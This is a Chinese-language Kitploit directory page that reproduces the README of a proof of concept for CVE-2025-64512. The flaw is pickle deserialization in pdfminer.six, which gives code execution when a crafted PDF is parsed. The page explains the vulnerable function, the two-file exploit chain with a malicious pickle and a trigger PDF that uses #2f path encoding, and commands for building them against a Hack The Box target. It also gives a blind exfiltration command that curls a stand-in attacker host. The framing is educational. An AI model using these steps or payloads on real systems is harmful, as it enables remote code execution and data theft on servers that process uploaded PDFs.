Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/oguzylmzx/cve-2025-64512-pdfminer-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发
GitHuboguzylmzx/cve-2025-64512-pdfminer-poc

CVE-2025-64512-pdfminer-PoC

针对 CVE-2025-64512 的 PoC:pdfminer.six CMapDB pickle 反序列化 RCE(通过特制 PDF 触发)

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
227天前尚未审核

CVE-2025-64512 — pdfminer.six CMapDB 反序列化 PoC

针对 pdfminer.six 中反序列化漏洞的概念验证,该漏洞在解析特制 PDF 时会导致任意代码执行。

目的 / 法律免责声明 本仓库仅用于教育和授权的安全研究。它复现了一个已公开披露并已修补的 CVE。 请勿将其用于你不拥有或未经书面许可测试的系统。作者对任何滥用行为不承担责任。 预期环境:Hack The Box / VulnHub / 本地实验室。

漏洞

  • CVE: CVE-2025-64512
  • 受影响版本: 20250506 之前的 pdfminer.six
  • 已修补版本: 20250506
  • 类型: 不可信数据反序列化 (CWE-502)

在 cmapdb.py 中,CMapDB._load_data() 读取一个 CMap 文件,该文件的名称来源于 PDF 字体的 /Encoding 条目,并将内容传递给 pickle.loads():

root@kitploit:~
def _load_data(cls, name):
    name = name.replace("\0", "")
    filename = "%s.pickle.gz" % name
    log.debug("loading: %r", name)
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)
        if os.path.exists(path):
            gzfile = gzip.open(path)
            try:
                return type(str(name), (), pickle.loads(gzfile.read()))
            finally:
                gzfile.close()
    raise CMapDB.CMapNotFound(name)

以下三个特性组合在一起,使其可以被利用:

  1. 对攻击者可控的数据调用 pickle.loads() -> 任意代码执行。
  2. 由于文件名是绝对路径,os.path.join() 会丢弃搜索目录,并在该确切路径打开文件。
  3. .pickle.gz 会被自动附加,因此路径需要不带该扩展名提供。

利用链

该利用需要向易受攻击的 Web 应用上传两个文件:

  1. payload.pickle.gz — 一个 gzip 压缩的 pickle,其 __reduce__ 执行命令并返回一个 CMap 形状的字典(以便 payload 触发后解析能干净地继续)。
  2. trigger.pdf — 一个使用 Type0/CIDFont 的最小 PDF,其字体 /Encoding 指向 pickle 的绝对路径(无扩展名)。

两个 PDF 层面的细节很重要:

  • CMapDB.get_cmap() 只能通过 CIDFont(具有 DescendantFonts 条目的 Type0 字体)到达,而不是普通的 Type1 字体。
  • PDF 名称标记以 / 分隔符开头,因此编码后的路径必须以 #2f 开头,以保留绝对路径的前导斜杠。 内部斜杠同样使用 #2f,因为 / 是名称分隔符。

当目标解析 PDF 时(例如后台监视程序调用 pdf2txt.py),CMapDB._load_data() 会打开 pickle 并执行该命令。

用法

root@kitploit:~
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz

# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf

# 3. Upload both files to the vulnerable PDF upload form, then wait for
#    the processing watcher to pick up trigger.pdf

已在 pdfminer.six 20250416(易受攻击版本)上完成端到端验证:运行 pdf2txt.py trigger.pdf 会执行 payload 命令并以退出码 0 结束。

payload 命令是盲执行的;请通过回调方式外传数据,例如:

root@kitploit:~
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz

文件

文件用途
make_payload.py生成恶意的 payload.pickle.gz
make_trigger_pdf.py生成具有正确 xref 偏移量的 /Encoding 触发 PDF

参考资料

  • CVE-2025-64512 (NVD)
  • pdfminer.six 针对 20250506 的更新日志 / 修复提交
  • Hack The Box 机器 Bedside(授权实验室复现)
下载工具